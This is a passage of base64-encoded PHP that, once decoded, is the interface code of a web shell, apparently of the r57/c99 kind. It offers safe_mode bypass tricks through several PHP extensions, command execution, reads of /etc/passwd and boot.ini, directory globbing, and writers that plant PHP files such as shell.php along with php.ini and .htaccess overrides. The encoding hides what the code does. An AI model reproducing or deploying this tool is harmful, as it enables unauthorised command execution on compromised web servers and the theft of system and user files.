W4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCg0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAzJ10sJ2lkNDExJykuJHRhYmxlX3VwMi5kaXYoJ2lkNDExJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2luaV9yZXN0b3JlJyw4NSwnL2V0Yy9wYXNzd2QnKS5pbignaGlkZGVuJywnY21kJywwLCdpbmlfcmVzdG9yZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI0J10sJ2lkNTExJykuJHRhYmxlX3VwMi5kaXYoJ2lkNTExJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAyJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJwbHVnaW5cIj48b3B0aW9uIHZhbHVlPVwicGx1Z2luXCI+L2V0Yy9wYXNzd2Q8L29wdGlvbj48L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BsdWdpbicpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDInXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2VfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZWRpdF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNCddLCdpZDIwNCcpLiR0YWJsZV91cDIuZGl2KCdpZDIwNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTBfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMF9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMF9maWxlJ10pOignLi4vLi4vZmlsZS5waHAnKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEwJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9jb250ZW50Jyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2NvbnRlbnQnXSk/KCRfUE9TVFsndGVzdDEwX2NvbnRlbnQnXSk6KCc8PyBlY2hvIFwnZ290Y2hhXCc7ID8+JykpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KaWYoJHNhZmVfbW9kZSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjgnXSwnaWQyMjgnKS4kdGFibGVfdXAyLmRpdignaWQyMjgnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMl9jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTJfY21kJ10pPygkX1BPU1RbJ3Rlc3QxMl9jbWQnXSk6KCdscyAtbGEnKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJiEkdW5peCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjknXSwnaWQyMjknKS4kdGFibGVfdXAyLmRpdignaWQyMjknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxM19jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfY21kJ10pPygkX1BPU1RbJ3Rlc3QxM19jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCmlmKCRzYWZlX21vZGUmJmV4dGVuc2lvbl9sb2FkZWQoImlvbkN1YmUgTG9hZGVyIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjMwJ10sJ2lkMjMwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjMwJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE0X2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNF9jbWQnXSk/KCRfUE9TVFsndGVzdDE0X2NtZCddKTooJy4uLy4uL2Jvb3QuaW5pJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiYhJHVuaXgmJmV4dGVuc2lvbl9sb2FkZWQoIndpbjMyc3RkIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjMxJ10sJ2lkMjMxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjMxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTVfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTVfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiYhJHVuaXgmJmV4dGVuc2lvbl9sb2FkZWQoIndpbjMyc2VydmljZSIpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIzMiddLCdpZDIzMicpLiR0YWJsZV91cDIuZGl2KCdpZDIzMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE2X2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9jbWQnXSk/KCRfUE9TVFsndGVzdDE2X2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KaWYoJHNhZmVfbW9kZSYmZXh0ZW5zaW9uX2xvYWRlZCgicGVybCIpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMSddLCdpZDM0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjMzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTdfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTdfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiYhJHVuaXgmJmV4dGVuc2lvbl9sb2FkZWQoImZmaSIpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMiddLCdpZDM1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjM0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MThfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE4X2NtZCddKT8oJF9QT1NUWyd0ZXN0MThfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQppZigkc2FmZV9tb2RlJiZAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMiddLCdpZDEwMDAnKS4kdGFibGVfdXAyLmRpdignaWQxMDAwJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjAnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjAnXSk/KCRfUE9TVFsndGVzdDIwJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDIwJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjcnXSwnaWQxMDAxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAwMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjFfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyMV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QyMV9maWxlJ10pOigkZGlyLiJ0ZXN0LnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MjEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCg0KaWYoJHNhZmVfbW9kZSYmQGZ1bmN0aW9uX2V4aXN0cygncmVhbHBhdGgnKSkNCnsNCiRzZWxlY3Rfbl9ybHBoID0gIjxzZWxlY3QgbmFtZT0nbl9ybHBoJz48b3B0aW9uIHZhbHVlPTE+WyAxIF0gKDw8MCwwMSBzZWMpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0yPlsgMiBdICg8MCwwMSBzZWMpPC9vcHRpb24+Ii4NCiI8b3B0aW9uIHZhbHVlPTMgc2VsZWN0ZWQ+WyAzIF0gKDwxIHNlYyAoZGVmYXVsdCkpPC9vcHRpb24+Ii4NCiI8b3B0aW9uIHZhbHVlPTQ+WyA0IF0gKDwxMCBzZWMpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT01PlsgNSBdICg+MTAwIHNlYyAoZGFuZ2VyKSk8L29wdGlvbj48b3B0aW9uIHZhbHVlPTY+WyA2IF0gKD4+MTAwIHNlYyAoZGFuZ2VyKSk8L29wdGlvbj48L3NlbGVjdD4iOw0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMyddLCdpZDEwMDInKS4kdGFibGVfdXAyLmRpdignaWQxMDAyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDMwLCghZW1wdHkoJF9QT1NUWydkaXJfcmxwaCddKT8oJF9QT1NUWydkaXJfcmxwaCddKTooJGRpcikpKS53cygyKS4nPGI+Jy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTUnXS4nPC9iPicud3MoMikuaW4oJ3RleHQnLCdlbmRfcmxwaCcsNiwoIWVtcHR5KCRfUE9TVFsnZW5kX3JscGgnXSk/KCRfUE9TVFsnZW5kX3JscGgnXSk6KCcucGhwJykpKS53cygyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MjInKS53cygyKS4nPGI+Jy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQ2J10uJzwvYj4nLndzKDIpLiRzZWxlY3Rfbl9ybHBoLndzKDIpLmluKCdoaWRkZW4nLCd0ZXN0MjInLDAsJ3Rlc3QyMicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSYmQGZ1bmN0aW9uX2V4aXN0cygnc2Vzc2lvbl9zYXZlX3BhdGgnKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjQnXSwnaWQxMDAzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAwMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDIzX2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDIzX2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QyM19maWxlMiddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyMycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjNfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjNfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDIzX2ZpbGUxJ10pOigiPD8gcGhwaW5mbygpOyA/PiIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10sJ2lkMTAwNCcpLiR0YWJsZV91cDIuZGl2KCdpZDEwMDQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyNF9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyNF9maWxlMiddKT8oJF9QT1NUWyd0ZXN0MjRfZmlsZTInXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MjQnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDI0X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDI0X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QyNF9maWxlMSddKTooIjw/IHBocGluZm8oKTsgPz4iKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KfQ0KaWYoJHNhZmVfbW9kZSYmQGZ1bmN0aW9uX2V4aXN0cygncmVhZGZpbGUnKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjYnXSwnaWQxMDA1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAwNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MjVfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MjVfZmlsZTInXSk/KCRfUE9TVFsndGVzdDI1X2ZpbGUyJ10pOigkZGlyLiJzaGVsbC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDI1JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyNV9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyNV9maWxlMSddKT8oJF9QT1NUWyd0ZXN0MjVfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNyddLCdpZDIwNycpLiR0YWJsZV91cDIuZGl2KCdpZDIwNycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdnbG9iJyw4NSwnL2V0Yy8nKS5pbignaGlkZGVuJywnY21kJywwLCdnbG9iJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDknXSwnaWQyMDknKS4kdGFibGVfdXAyLmRpdignaWQyMDknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywncm9vdCcsODUsJy9ldGMvJykuaW4oJ2hpZGRlbicsJ2NtZCcsMCwncm9vdCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjEnXSwnaWQyOTAwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjkwMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxOScsODUsJy9ldGMvcGFzc3dkJykuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE5JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMCddLCdpZDIxMCcpLiR0YWJsZV91cDIuZGl2KCdpZDIxMCcpLiR0czsNCmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3plbmQnLDg1LCghZW1wdHkoJF9QT1NUWyd6ZW5kJ10pPygkX1BPU1RbJ3plbmQnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd6ZW5kJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTEnXSwnaWQyMTEnKS4kdGFibGVfdXAyLmRpdignaWQyMTEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BocF9pbmkxJywxMCwncGhwLmluaScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdodGFjY2VzJywxMCwnaHRhY2Nlc3MnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTgnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZmlsZV9pbmknLDEwLCdpbmkucGhwJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KDQokYWxpYXNlczIgPSAnJzsNCmZvcmVhY2ggKCRhbGlhc2VzIGFzICRhbGlhc19uYW1lPT4kYWxpYXNfY21kKQ0KIHsNCiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOw0KIH0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCn0NCg0KaWYo